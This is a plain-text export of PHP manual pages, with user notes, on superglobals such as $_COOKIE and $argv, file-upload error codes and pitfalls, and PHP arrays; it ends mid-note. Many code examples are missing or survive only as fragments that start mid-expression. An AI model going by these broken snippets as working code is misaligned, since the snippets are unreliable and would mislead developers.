7) $_COOKIE -- $HTTP_COOKIE_VARS [deprecated] — HTTP Cookies Description~ An associative array of variables passed to the current script via HTTP Cookies. $HTTP_COOKIE_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_COOKIE_VARS and $_COOKIE are different variables and that PHP handles them as such) Changelog~ Version Description 4.1.0 Introduced $_COOKIE that deprecated $HTTP_COOKIE_VARS. Examples~ Example #1 $_COOKIE example > < Assuming the "name" cookie has been set earlier The above example will output something similar to: Hello Hannes! Notes Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. See Also~ |setcookie|() - Send a cookie Handling external variables The filter extension User Contributed Notes 2 notes 41 k dot andris at gmail dot com ¶1 year ago~ beware, dots (.) in cookie names are replaces by underscores (_) -------------------------------------------------------------------------------- *$php_errormsg* +---------------+~ | $php_errormsg |~ +---------------+~ (PHP 4, PHP 5, PHP 7) $php_errormsg — The previous error message Warning This feature has been DEPRECATED as of PHP 7.2.0. Relying on this feature is highly discouraged. Description~ $php_errormsg is a variable containing the text of the last error message generated by PHP. This variable will only be available within the scope in which the error occurred, and only if the track_errors configuration option is turned on (it defaults to off). Warning If a user defined error handler (set_error_handler()) is set $php_errormsg is only set if the error handler returns FALSE. Examples~ Example #1 $php_errormsg example > < The above example will output something similar to: Wrong parameter count for strpos() User Contributed Notes 3 notes 14 quickshiftin at gmail dot com ¶4 years ago~ While $php_errormsg is a global, it is not a superglobal. You'll have to qualify it with a global keyword inside a function. > < 10 ryan kulla ¶8 years ago~ Note: This variable doesn't seem to get populated if you're running Xdebug. -------------------------------------------------------------------------------- *$HTTP_RAW_POST_DATA* +---------------------+~ | $HTTP_RAW_POST_DATA |~ +---------------------+~ (PHP 4, PHP 5) $HTTP_RAW_POST_DATA — Raw POST data Description~ Warning This feature was DEPRECATED in PHP 5.6.0, and REMOVED as of PHP 7.0.0. $HTTP_RAW_POST_DATA contains the raw POST data. See always_populate_raw_post_data. In general, php://input should be used instead of $HTTP_RAW_POST_DATA. User Contributed Notes 3 notes~ 53 Ray dot Paseur at GMail dot com ¶7 years ago~ To get the Raw Post Data: > < Please see the notes here: http://us.php.net/manual/en/wrappers.php.php 35 Ricardo Martins ¶3 years ago~ what is exaclty raw POST data? Answer: > $_POST can be said as and outcome after splitting the $HTTP_RAW_POST_DATA, php splits the raw post data and formats in the way we see it in the $_POST For example: $HTTP_RAW_POST_DATA looks something like this key1=value1&key2=value2 then $_POST would look like this: $_POST = array( "key1" => "value1", "key2" => "value2",); -------------------------------------------------------------------------------- *$http_response_header* +-----------------------+~ | $http_response_header |~ +-----------------------+~ (PHP 4 >= 4.0.4, PHP 5, PHP 7) $http_response_header — HTTP response headers Description~ The $http_response_header array is similar to the get_headers() function. When using the HTTP wrapper, $http_response_header will be populated with the HTTP response headers. $http_response_header will be created in the local scope. Examples~ Example #1 $http_response_header example > < The above example will output something similar to: > array(9) { [0]=> string(15) "HTTP/1.1 200 OK" [1]=> string(35) "Date: Sat, 12 Apr 2008 17:30:38 GMT" [2]=> string(29) "Server: Apache/2.2.3 (CentOS)" [3]=> string(44) "Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT" [4]=> string(27) "ETag: "280100-1b6-80bfd280"" [5]=> string(20) "Accept-Ranges: bytes" [6]=> string(19) "Content-Length: 438" [7]=> string(17) "Connection: close" [8]=> string(38) "Content-Type: text/html; charset=UTF-8" } NULL < User Contributed Notes 2 notes~ 17 nicolas at toniazzi dot net ¶3 years ago~ Note that the HTTP wrapper has a hard limit of 1024 characters for the header lines. Any HTTP header received that is longer than this will be ignored and won't appear in $http_response_header. The cURL extension doesn't have this limit. http_fopen_wrapper.c: #define HTTP_HEADER_BLOCK_SIZE 1024 7 MangaII ¶1 year ago~ parser function to get formatted headers (with response code) > $v ) { $t = explode( ':', $v, 2 ); if( isset( $t[1] ) ) $head[ trim($t[0]) ] = trim( $t[1] ); else { $head[] = $v; if( preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ) ) $head['reponse_code'] = intval($out[1]); } } return $head; } print_r(parseHeaders($http_response_header)); /* Array ( [0] => HTTP/1.1 200 OK [reponse_code] => 200 [Date] => Fri, 01 May 2015 12:56:09 GMT [Server] => Apache [X-Powered-By] => PHP/5.3.3-7+squeeze18 [Set-Cookie] => PHPSESSID=ng25jekmlipl1smfscq7copdl3; path=/ [Expires] => Thu, 19 Nov 1981 08:52:00 GMT [Cache-Control] => no-store, no-cache, must-revalidate, post-check=0, pre-check=0 [Pragma] => no-cache [Vary] => Accept-Encoding [Content-Length] => 872 [Connection] => close [Content-Type] => text/html ) */ ?> < -------------------------------------------------------------------------------- *$argc* +-------+~ | $argc |~ +-------+~ (PHP 4, PHP 5, PHP 7) $argc — The number of arguments passed to script Description~ Contains the number of arguments passed to the current script when running from the command line. Note: The script's filename is always passed as an argument to the script, therefore the minimum value of $argc is 1. Note: This variable is not available when register_argc_argv is disabled. Examples Example #1 $argc example > < When executing the example with: php script.php arg1 arg2 arg3 The above example will output something similar to: int(4) User Contributed Notes 4 notes 29 Tejesember ¶5 years ago~ To find out are you in CLI or not, this is much better in my opinion: > < -------------------------------------------------------------------------------- *$argv* +-------+~ | $argv |~ +-------+~ (PHP 4, PHP 5, PHP 7) $argv — Array of arguments passed to script Description~ Contains an array of all the arguments passed to the script when running from the command line. Note: The first argument $argv[0] is always the name that was used to run the script. Note: This variable is not available when register_argc_argv is disabled. Examples~ Example #1 $argv example > < When executing the example with: php script.php arg1 arg2 arg3 The above example will output something similar to: > array(4) { [0]=> string(10) "script.php" [1]=> string(4) "arg1" [2]=> string(4) "arg2" [3]=> string(4) "arg3" } < See Also~ getopt() - Gets options from the command line argument list User Contributed Notes 8 notes 55 tufan dot oezduman at googlemail dot com ¶5 years ago~ Please note that, $argv and $argc need to be declared global, while trying to access within a class method. > < will output NULL bool(false) with a notice of "Undefined variable ..." whereas global $argv fixes that. 25 hamboy75 at example dot com ¶3 years ago~ To use $_GET so you dont need to support both if it could be used from command line and from web browser. > foreach ($argv as $arg) { $e=explode("=",$arg); if(count($e)==2) $_GET[$e[0]]=$e[1]; else $_GET[$e[0]]=0; } < -------------------------------------------------------------------------------- *error_messages_explained* +--------------------------+~ | Error Messages Explained |~ +--------------------------+~ PHP returns an appropriate error code along with the file array. The error code can be found in the error segment of the file array that is created during the file upload by PHP. In other words, the error might be found in $_FILES['userfile']['error']. *UPLOAD_ERR_OK* Value: 0; There is no error, the file uploaded with success. *UPLOAD_ERR_INI_SIZE* Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini. *UPLOAD_ERR_FORM_SIZE* Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form. *UPLOAD_ERR_PARTIAL* Value: 3; The uploaded file was only partially uploaded. *UPLOAD_ERR_NO_FILE* Value: 4; No file was uploaded. *UPLOAD_ERR_NO_TMP_DIR* Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3. *UPLOAD_ERR_CANT_WRITE* Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0. *UPLOAD_ERR_EXTENSION* Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop; examining the list of loaded extensions with phpinfo() may help. Introduced in PHP 5.2.0. User Contributed Notes 17 notes 116 Anonymous ¶8 years ago~ [EDIT BY danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.] This is a handy exception to use when handling upload errors: > codeToMessage($code); parent::__construct($message, $code); } private function codeToMessage($code) { switch ($code) { case UPLOAD_ERR_INI_SIZE: $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini"; break; case UPLOAD_ERR_FORM_SIZE: $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"; break; case UPLOAD_ERR_PARTIAL: $message = "The uploaded file was only partially uploaded"; break; case UPLOAD_ERR_NO_FILE: $message = "No file was uploaded"; break; case UPLOAD_ERR_NO_TMP_DIR: $message = "Missing a temporary folder"; break; case UPLOAD_ERR_CANT_WRITE: $message = "Failed to write file to disk"; break; case UPLOAD_ERR_EXTENSION: $message = "File upload stopped by extension"; break; default: $message = "Unknown upload error"; break; } return $message; } } // Use if ($_FILES['file']['error'] === UPLOAD_ERR_OK) { //uploading successfully done } else { throw new UploadException($_FILES['file']['error']); } ?> < 68 Viktor ¶2 years ago~ Update to Adams old comment. This is probably useful to someone. > 'There is no error, the file uploaded with success', 1 => 'The uploaded file exceeds the upload_max_filesize directive in php.ini', 2 => 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form', 3 => 'The uploaded file was only partially uploaded', 4 => 'No file was uploaded', 6 => 'Missing a temporary folder', 7 => 'Failed to write file to disk.', 8 => 'A PHP extension stopped the file upload.', ); < 68 adam at gotlinux dot us ¶11 years ago~ This is probably useful to someone. > "There is no error, the file uploaded with success", 1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini", 2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form" 3=>"The uploaded file was only partially uploaded", 4=>"No file was uploaded", 6=>"Missing a temporary folder" ); ?> < 28 stephen at poppymedia dot co dot uk ¶11 years ago~ if post is greater than post_max_size set in php.ini $_FILES and $_POST will return empty 10 Jeff Miner mrjminer AT gmail DOT com ¶6 years ago~ One thing that is annoying is that the way these constant values are handled requires processing no error with the equality, which wastes a little bit of space. Even though "no error" is 0, which typically evaluates to "false" in an if statement, it will always evaluate to true in this context. So, instead of this: ----- > < ----- You have to do this: ----- > < ----- Also, ctype_digit fails, but is_int works. If you're wondering... no, it doesn't make any sense. To Schoschie: You ask the question: Why make stuff complicated when you can make it easy? I ask the same question since the version of the code you / Anonymous / Thalent (per danbrown) have posted is unnecessary overhead and would result in a function call, as well as a potentially lengthy switch statement. In a loop, that would be deadly... try this instead: ----- > 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.', 'The uploaded file was only partially uploaded.', 'No file was uploaded.', 6=>'Missing a temporary folder.', 'Failed to write file to disk.', 'A PHP extension stopped the file upload.' ); // Outside a loop... if($_FILES['userfile']['error']==0) { // process } else { $error_message = $error_types[$_FILES['userfile']['error']]; // do whatever with the error message } // In a loop... for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) { if($_FILES['userfile']['error'][$x]==0) { // process } else { $error_message = $error_types[$_FILES['userfile']['error'][$x]]; // Do whatever with the error message } } // When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory unset($error_types); ?> < -------------------------------------------------------------------------------- *uploading_multiple_files* +--------------------------+~ | Uploading multiple files |~ +--------------------------+~ Multiple files can be uploaded using different name for input. It is also possible to upload multiple files simultaneously and have the information organized automatically in arrays for you. To do so, you need to use the same array submission syntax in the HTML form as you do with multiple selects and checkboxes: Example #1 Uploading multiple files >
Send these files:


< When the above form is submitted, the arrays $_FILES['userfile'], $_FILES['userfile']['name'], and $_FILES['userfile']['size'] will be initialized (as well as in $HTTP_POST_FILES for PHP versions prior to 4.1.0). When register_globals is on, globals for uploaded files are also initialized. Each of these will be a numerically indexed array of the appropriate values for the submitted files. For instance, assume that the filenames /home/test/review.html and /home/test/xwp.out are submitted. In this case, $_FILES['userfile']['name'][0] would contain the value review.html, and $_FILES['userfile']['name'][1] would contain the value xwp.out. Similarly, $_FILES['userfile']['size'][0] would contain review.html's file size, and so forth. > $_FILES['userfile']['name'][0], $_FILES['userfile']['tmp_name'][0], $_FILES['userfile']['size'][0], and $_FILES['userfile']['type'][0] are also set. < Warning Since PHP 5.2.12, the max_file_uploads configuration setting acts as a limit on the number of files that can be uploaded in one request. You will need to ensure that your form does not try to upload more files in one request than this limit. User Contributed Notes 15 notes 207 phpuser at gmail dot com ¶11 years ago~ When uploading multiple files, the $_FILES variable is created in the form: > Array ( [name] => Array ( [0] => foo.txt [1] => bar.txt ) [type] => Array ( [0] => text/plain [1] => text/plain ) [tmp_name] => Array ( [0] => /tmp/phpYzdqkD [1] => /tmp/phpeEwEWG ) [error] => Array ( [0] => 0 [1] => 0 ) [size] => Array ( [0] => 123 [1] => 456 ) ) < I found it made for a little cleaner code if I had the uploaded files array in the form > Array ( [0] => Array ( [name] => foo.txt [type] => text/plain [tmp_name] => /tmp/phpYzdqkD [error] => 0 [size] => 123 ) [1] => Array ( [name] => bar.txt [type] => text/plain [tmp_name] => /tmp/phpeEwEWG [error] => 0 [size] => 456 ) ) < I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array. > < Now I can do the following: > < 36 wizzard351 at yahoo dot com ¶3 years ago~ This is also needed for elements. So, if you have an input element like this: > < This should be written as > < else you'll only be able to get one of the files. 10 Corey Ballou ¶7 years ago~ Here is a function to fix the indices of a multi-dimensional for easier parsing when dealing with file uploads. It takes a single $_FILES field array as a parameter and separates each individual uploaded file by numeric key. This allows for iterating like: > $file) { // should output array with indices name, type, tmp_name, error, size var_dump($file); } ?> < Here's the code: > 1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1); foreach ($files as $key => $part) { // only deal with valid keys and multiple files $key = (string) $key; if (isset($names[$key]) && is_array($part)) { foreach ($part as $position => $value) { $files[$position][$key] = $value; } // remove old key reference unset($files[$key]); } } } ?> < 12 timspeelman at live dot nl ¶5 years ago~ The cleanest way to rearrange the $_FILES > $all ){ foreach( $all as $i => $val ){ $new[$i][$key] = $val; } } return $new; } ?> < -------------------------------------------------------------------------------- *common_pitfalls* +-----------------+~ | Common Pitfalls |~ +-----------------+~ The MAX_FILE_SIZE item cannot specify a file size greater than the file size that has been set in the upload_max_filesize in the php.ini file. The default is 2 megabytes. If a memory limit is enabled, a larger memory_limit may be needed. Make sure you set memory_limit large enough. If max_execution_time is set too small, script execution may be exceeded by the value. Make sure you set max_execution_time large enough. Note: max_execution_time only affects the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, time taken by the file upload process, etc. is not included when determining the maximum time that the script has been running. Warning max_input_time sets the maximum time, in seconds, the script is allowed to receive input; this includes file uploads. For large or multiple files, or users on slower connections, the default of 60 seconds may be exceeded. If post_max_size is set too small, large files cannot be uploaded. Make sure you set post_max_size large enough. Since PHP 5.2.12, the max_file_uploads configuration setting controls the maximum number of files that can uploaded in one request. If more files are uploaded than the limit, then $_FILES will stop processing files once the limit is reached. For example, if max_file_uploads is set to 10, then $_FILES will never contain more than 10 items. Not validating which file you operate on may mean that users can access sensitive information in other directories. Please note that the CERN httpd seems to strip off everything starting at the first whitespace in the content-type mime header it gets from the client. As long as this is the case, CERN httpd will not support the file upload feature. Due to the large amount of directory listing styles we cannot guarantee that files with exotic names (like containing spaces) are handled properly. A developer may not mix normal input fields and file upload fields in the same form variable (by using an input name like foo[]). User Contributed Notes 11 notes~ 6 amalcon _a_t_ eudoramail _d_o_t_ com ¶12 years ago~ Note that, when you want to upload VERY large files (or you want to set the limiters VERY high for test purposes), all of the upload file size limiters are stored in signed 32-bit ints. This means that setting a limit higher than about 2.1 GB will result in PHP seeing a large negative number. I have not found any way around this. -------------------------------------------------------------------------------- *Arrays* +--------+~ | Arrays |~ +--------+~ An array in PHP is actually an ordered map. A map is a type that associates values to keys. This type is optimized for several different uses; it can be treated as an array, list (vector), hash table (an implementation of a map), dictionary, collection, stack, queue, and probably more. As array values can be other arrays, trees and multidimensional arrays are also possible. Explanation of those data structures is beyond the scope of this manual, but at least one example is provided for each of them. For more information, look towards the considerable literature that exists about this broad topic. Syntax~ Specifying with array() An array can be created using the array() language construct. It takes any number of comma-separated key => value pairs as arguments. > array( key => value, key2 => value2, key3 => value3, ... ) < The comma after the last array element is optional and can be omitted. This is usually done for single-line arrays, i.e. array(1, 2) is preferred over array(1, 2, ). For multi-line arrays on the other hand the trailing comma is commonly used, as it allows easier addition of new elements at the end. As of PHP 5.4 you can also use the short array syntax, which replaces array() with []. Example #1 A simple array > "bar", "bar" => "foo", ); // as of PHP 5.4 $array = [ "foo" => "bar", "bar" => "foo", ]; ?> < The key can either be an integer or a string. The value can be of any type. Additionally the following key casts will occur: Strings containing valid integers will be cast to the integer type. E.g. the key "8" will actually be stored under 8. On the other hand "08" will not be cast, as it isn't a valid decimal integer. Floats are also cast to integers, which means that the fractional part will be truncated. E.g. the key 8.7 will actually be stored under 8. Bools are cast to integers, too, i.e. the key true will actually be stored under 1 and the key false under 0. Null will be cast to the empty string, i.e. the key null will actually be stored under "". Arrays and objects can not be used as keys. Doing so will result in a warning: Illegal offset type. If multiple elements in the array declaration use the same key, only the last one will be used as all others are overwritten. Example #2 Type Casting and Overwriting example > "a", "1" => "b", 1.5 => "c", true => "d", ); var_dump($array); ?> < The above example will output: > array(1) { [1]=> string(1) "d" } < As all the keys in the above example are cast to 1, the value will be overwritten on every new element and the last assigned value "d" is the only one left over. PHP arrays can contain integer and string keys at the same time as PHP does not distinguish between indexed and associative arrays. Example #3 Mixed integer and string keys > "bar", "bar" => "foo", 100 => -100, -100 => 100, ); var_dump($array); ?> < The above example will output: > array(4) { ["foo"]=> string(3) "bar" ["bar"]=> string(3) "foo" [100]=> int(-100) [-100]=> int(100) } < The key is optional. If it is not specified, PHP will use the increment of the largest previously used integer key. Example #4 Indexed arrays without key > The above example will output: array(4) { [0]=> string(3) "foo" [1]=> string(3) "bar" [2]=> string(5) "hello" [3]=> string(5) "world" } < It is possible to specify the key only for some elements and leave it out for others: Example #5 Keys not on all elements > "c", "d", ); var_dump($array); ?> < The above example will output: > array(4) { [0]=> string(1) "a" [1]=> string(1) "b" [6]=> string(1) "c" [7]=> string(1) "d" } < As you can see the last value "d" was assigned the key 7. This is because the largest integer key before that was 6. Accessing array elements with square bracket syntax ¶ Array elements can be accessed using the array[key] syntax. Example #6 Accessing array elements > "bar", 42 => 24, "multi" => array( "dimensional" => array( "array" => "foo" ) ) ); var_dump($array["foo"]); var_dump($array[42]); var_dump($array["multi"]["dimensional"]["array"]); ?> < The above example will output: > string(3) "bar" int(24) string(3) "foo" < Note: Both square brackets and curly braces can be used interchangeably for accessing array elements (e.g. $array[42] and $array{42} will both do the same thing in the example above). As of PHP 5.4 it is possible to array dereference the result of a function or method call directly. Before it was only possible using a temporary variable. As of PHP 5.5 it is possible to array dereference an array literal. Example #7 Array dereferencing > < Note: Attempting to access an array key which has not been defined is the same as accessing any other undefined variable: an E_NOTICE-level error message will be issued, and the result will be NULL. Note: Array dereferencing a scalar value which is not a string silently yields NULL, i.e. without issuing an error message. Creating/modifying with square bracket syntax~ An existing array can be modified by explicitly setting values in it. This is done by assigning values to the array, specifying the key in brackets. The key can also be omitted, resulting in an empty pair of brackets ([]). > $arr[key] = value; $arr[] = value; // key may be an integer or string // value may be any value of any type > If $arr doesn't exist yet, it will be created, so this is also an alternative way to create an array. This practice is however discouraged because if $arr already contains some value (e.g. string from request variable) then this value will stay in the place and [] may actually stand for string access operator. It is always better to initialize a variable by a direct assignment. Note: As of PHP 7.1.0, applying the empty index operator on a string throws a fatal error. Formerly, the string was silently converted to an array. To change a certain value, assign a new value to that element using its key. To remove a key/value pair, call the unset() function on it. > 1, 12 => 2); $arr[] = 56; // This is the same as $arr[13] = 56; // at this point of the script $arr["x"] = 42; // This adds a new element to // the array with key "x" unset($arr[5]); // This removes the element from the array unset($arr); // This deletes the whole array ?> < Note: As mentioned above, if no key is specified, the maximum of the existing integer indices is taken, and the new key will be that maximum value plus 1 (but at least 0). If no integer indices exist yet, the key will be 0 (zero). Note that the maximum integer key used for this need not currently exist in the array. It need only have existed in the array at some time since the last time the array was re-indexed. The following example illustrates: > $value) { unset($array[$i]); } print_r($array); // Append an item (note that the new key is 5, instead of 0). $array[] = 6; print_r($array); // Re-index: $array = array_values($array); $array[] = 7; print_r($array); ?> The above example will output: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 ) Array ( ) Array ( [5] => 6 ) Array ( [0] => 6 [1] => 7 ) < Useful functions~ There are quite a few useful functions for working with arrays. See the array functions section. Note: The unset() function allows removing keys from an array. Be aware that the array will not be reindexed. If a true "remove and shift" behavior is desired, the array can be reindexed using the array_values() function. > 'one', 2 => 'two', 3 => 'three'); unset($a[2]); /* will produce an array that would have been defined as $a = array(1 => 'one', 3 => 'three'); and NOT $a = array(1 => 'one', 2 =>'three'); */ $b = array_values($a); // Now $b is array(0 => 'one', 1 =>'three') ?> < The foreach control structure exists specifically for arrays. It provides an easy way to traverse an array. Array do's and don'ts~ Why is $foo[bar] wrong?~ Always use quotes around a string literal array index. For example, $foo['bar'] is correct, while $foo[bar] is not. But why? It is common to encounter this kind of syntax in old scripts: > < This is wrong, but it works. The reason is that this code has an undefined constant (bar) rather than a string ('bar' - notice the quotes). It works because PHP automatically converts a bare string (an unquoted string which does not correspond to any known symbol) into a string which contains the bare string. For instance, if there is no defined constant named bar, then PHP will substitute in the string 'bar' and use that. Note: This does not mean to always quote the key. Do not quote keys which are constants or variables, as this will prevent PHP from interpreting them. > < The above example will output: > Checking 0: Notice: Undefined index: $i in /path/to/script.html on line 9 Bad: Good: 1 Notice: Undefined index: $i in /path/to/script.html on line 11 Bad: Good: 1 Checking 1: Notice: Undefined index: $i in /path/to/script.html on line 9 Bad: Good: 2 Notice: Undefined index: $i in /path/to/script.html on line 11 Bad: Good: 2 < More examples to demonstrate this behaviour: > 'apple', 'veggie' => 'carrot'); // Correct print $arr['fruit']; // apple print $arr['veggie']; // carrot // Incorrect. This works but also throws a PHP error of level E_NOTICE because // of an undefined constant named fruit // // Notice: Use of undefined constant fruit - assumed 'fruit' in... print $arr[fruit]; // apple // This defines a constant to demonstrate what's going on. The value 'veggie' // is assigned to a constant named fruit. define('fruit', 'veggie'); // Notice the difference now print $arr['fruit']; // apple print $arr[fruit]; // carrot // The following is okay, as it's inside a string. Constants are not looked for // within strings, so no E_NOTICE occurs here print "Hello $arr[fruit]"; // Hello apple // With one exception: braces surrounding arrays within strings allows constants // to be interpreted print "Hello {$arr[fruit]}"; // Hello carrot print "Hello {$arr['fruit']}"; // Hello apple // This will not work, and will result in a parse error, such as: // Parse error: parse error, expecting T_STRING' or T_VARIABLE' or T_NUM_STRING' // This of course applies to using superglobals in strings as well print "Hello $arr['fruit']"; print "Hello $_GET['foo']"; // Concatenation is another option print "Hello " . $arr['fruit']; // Hello apple ?> < When error_reporting is set to show E_NOTICE level errors (by setting it to E_ALL, for example), such uses will become immediately visible. By default, error_reporting is set not to show notices. As stated in the syntax section, what's inside the square brackets ('[' and ']') must be an expression. This means that code like this works: > < This is an example of using a function return value as the array index. PHP also knows about constants: > < Note that E_ERROR is also a valid identifier, just like bar in the first example. But the last example is in fact the same as writing: > < because E_ERROR equals 1, etc. So why is it bad then? At some point in the future, the PHP team might want to add another constant or keyword, or a constant in other code may interfere. For example, it is already wrong to use the words empty and default this way, since they are reserved keywords. Note: To reiterate, inside a double-quoted string, it's valid to not surround array indexes with quotes so "$foo[bar]" is valid. See the above examples for details on why as well as the section on variable parsing in strings. Converting to array ¶ For any of the types integer, float, string, boolean and resource, converting a value to an array results in an array with a single element with index zero and the value of the scalar which was converted. In other words, (array)$scalarValue is exactly the same as array($scalarValue). If an object is converted to an array, the result is an array whose elements are the object's properties. The keys are the member variable names, with a few notable exceptions: integer properties are unaccessible; private variables have the class name prepended to the variable name; protected variables have a '*' prepended to the variable name. These prepended values have null bytes on either side. This can result in some unexpected behaviour: > < The above will appear to have two keys named 'AA', although one of them is actually named '\0A\0A'. Converting NULL to an array results in an empty array. Comparing~ It is possible to compare arrays with the array_diff() function and with array operators. Examples~ The array type in PHP is very versatile. Here are some examples: > 'red', 'taste' => 'sweet', 'shape' => 'round', 'name' => 'apple', 4 // key will be 0 ); $b = array('a', 'b', 'c'); // . . .is completely equivalent with this: $a = array(); $a['color'] = 'red'; $a['taste'] = 'sweet'; $a['shape'] = 'round'; $a['name'] = 'apple'; $a[] = 4; // key will be 0 $b = array(); $b[] = 'a'; $b[] = 'b'; $b[] = 'c'; // After the above code is executed, $a will be the array // array('color' => 'red', 'taste' => 'sweet', 'shape' => 'round', // 'name' => 'apple', 0 => 4), and $b will be the array // array(0 => 'a', 1 => 'b', 2 => 'c'), or simply array('a', 'b', 'c'). ?> < Example #8 Using array() > 4, 'OS' => 'Linux', 'lang' => 'english', 'short_tags' => true ); // strictly numerical keys $array = array( 7, 8, 0, 156, -10 ); // this is the same as array(0 => 7, 1 => 8, ...) $switching = array( 10, // key = 0 5 => 6, 3 => 7, 'a' => 4, 11, // key = 6 (maximum of integer-indices was 5) '8' => 2, // key = 8 (integer!) '02' => 77, // key = '02' 0 => 12 // the value 10 will be overwritten by 12 ); // empty array $empty = array(); ?> < Example #9 Collection > < The above example will output: Do you like red? Do you like blue? Do you like green? Do you like yellow? Changing the values of the array directly is possible by passing them by reference. Example #10 Changing element in the loop > < The above example will output: > Array ( [0] => RED [1] => BLUE [2] => GREEN [3] => YELLOW ) < This example creates a one-based array. Example #11 One-based index > 'January', 'February', 'March'); print_r($firstquarter); ?> The above example will output: Array ( [1] => 'January' [2] => 'February' [3] => 'March' ) < Example #12 Filling an array > < Arrays are ordered. The order can be changed using various sorting functions. See the array functions section for more information. The count() function can be used to count the number of items in an array. Example #13 Sorting an array > < Because the value of an array can be anything, it can also be another array. This enables the creation of recursive and multi-dimensional arrays. Example #14 Recursive and multi-dimensional arrays > array ( "a" => "orange", "b" => "banana", "c" => "apple" ), "numbers" => array ( 1, 2, 3, 4, 5, 6 ), "holes" => array ( "first", 5 => "second", "third" ) ); // Some examples to address values in the array above echo $fruits["holes"][5]; // prints "second" echo $fruits["fruits"]["a"]; // prints "orange" unset($fruits["holes"][0]); // remove "first" // Create a new multi-dimensional array $juices["apple"]["green"] = "good"; ?> < Array assignment always involves value copying. Use the reference operator to copy an array by reference. > < User Contributed Notes 22 notes 6 as at asgl dot de ¶1 month ago~ > // On PHP 7.1 until Jan. 20 2017 $testVar = ""; $testVar[2] = "Meine eigene Lösung"; echo $testVar[2]; // Result: // Meine eigene Lösung => $testVar is an ARRAY // On PHP 7.1.1 after Jan. 20 2017 $testVar = ""; $testVar[2] = "Meine eigene Lösung"; echo $testVar[2]; // Result: // M => $testVar is a STRING !!! < 86 mlvljr ¶5 years ago~ please note that when arrays are copied, the "reference status" of their members is preserved (http://www.php.net/manual/en/language.references.whatdo.php). 34 perske at uni-muenster dot de ¶1 year ago~ Regarding this note: “Strings containing valid integers will be cast to the integer type.” This is true only for decimal integers without leading “+”, but not for octal, hexadecimal, or binary integers. Example: > "a", "-1" => "b", "+1" => "c", "00" => "d", "01" => "e", "0x1" => "f", ); var_dump($array); ?> < This example will output: > array(7) { [0]=> string(1) "a" [-1]=> string(1) "b" ["+1"]=> string(1) "c" ["00"]=> string(1) "d" ["01"]=> string(1) "e" ["0x1"]=> string(1) "f" } < Thus different strings are always mapped to different array keys. 22 thomas tulinsky ¶1 year ago~ I think your first, main example is needlessly confusing, very confusing to newbies: > $array = array( "foo" => "bar", "bar" => "foo", ); < It should be removed. For newbies: An array index can be any string value, even a value that is also a value in the array. The value of array["foo"] is "bar". The value of array["bar"] is "foo" The following expressions are both true: > $array["foo"] == "bar" $array["bar"] == "foo" 20 mathiasgrimm at gmail dot com ¶2 years ago~ > < I added this bug to bugs.php.net (https://bugs.php.net/bug.php?id=68110) however I made tests with php4, 5.4 and 5.5 versions and all behave the same way. This, in my point of view, should be cast to an array type and throw the same error. This is, according to the documentation on this page, wrong. From doc: "Note: Attempting to access an array key which has not been defined is the same as accessing any other undefined variable: an E_NOTICE-level error message will be issued, and the result will be NULL." 46 ken underscore yap atsign email dot com ¶9 years ago~ "If you convert a NULL value to an array, you get an empty array." This turns out to be a useful property. Say you have a search function that returns an array of values on success or NULL if nothing found. > < Now you want to merge the array with another array. What do we do if $values is NULL? No problem: > < Voila. 30 chris at ocportal dot com ¶3 years ago~ Note that array value buckets are reference-safe, even through serialization. > &$x,'B'=>&$x); $test=unserialize(serialize($test)); $test['A']='changed'; echo $test['B']; // Outputs "changed" ?> < This can be useful in some cases, for example saving RAM within complex structures. 43 jeff splat codedread splot com ¶11 years ago~ Beware that if you're using strings as indices in the $_POST array, that periods are transformed into underscores: > "); ?>
< Once you click on the button, the page displays the following: > POST: Array ( [Windows3_1] => Sux ) < 24 ivegner at yandex dot ru ¶3 years ago~ Note that objects of classes extending ArrayObject SPL class are treated as arrays, and not as objects when converting to array. > < 36 lars-phpcomments at ukmix dot net ¶12 years ago~ Used to creating arrays like this in Perl? > @array = ("All", "A".."Z"); < Looks like we need the range() function in PHP: > < You don't need to array_merge if it's just one range: > < 11 note dot php dot lorriman at spamgourmet dot org ¶3 years ago~ There is another kind of array (php>= 5.3.0) produced by $array = new SplFixedArray(5); Standard arrays, as documented here, are marvellously flexible and, due to the underlying hashtable, extremely fast for certain kinds of lookup operation. Supposing a large string-keyed array > $arr=['string1'=>$data1, 'string2'=>$data2 etc....] when getting the keyed data with $data=$arr['string1']; php does not have to search through the array comparing each key string to the given key ('string1') one by one, which could take a long time with a large array. Instead the hashtable means that php takes the given key string and computes from it the memory location of the keyed data, and then instantly retrieves the data. Marvellous! And so quick. And no need to know anything about hashtables as it's all hidden away. However, there is a lot of overhead in that. It uses lots of memory, as hashtables tend to (also nearly doubling on a 64bit server), and should be significantly slower for integer keyed arrays than old-fashioned (non-hashtable) integer-keyed arrays. For that see more on SplFixedArray : http://uk3.php.net/SplFixedArray Unlike a standard php (hashtabled) array, if you lookup by integer then the integer itself denotes the memory location of the data, no hashtable computation on the integer key needed. This is much quicker. It's also quicker to build the array compared to the complex operations needed for hashtables. And it uses a lot less memory as there is no hashtable data structure. This is really an optimisation 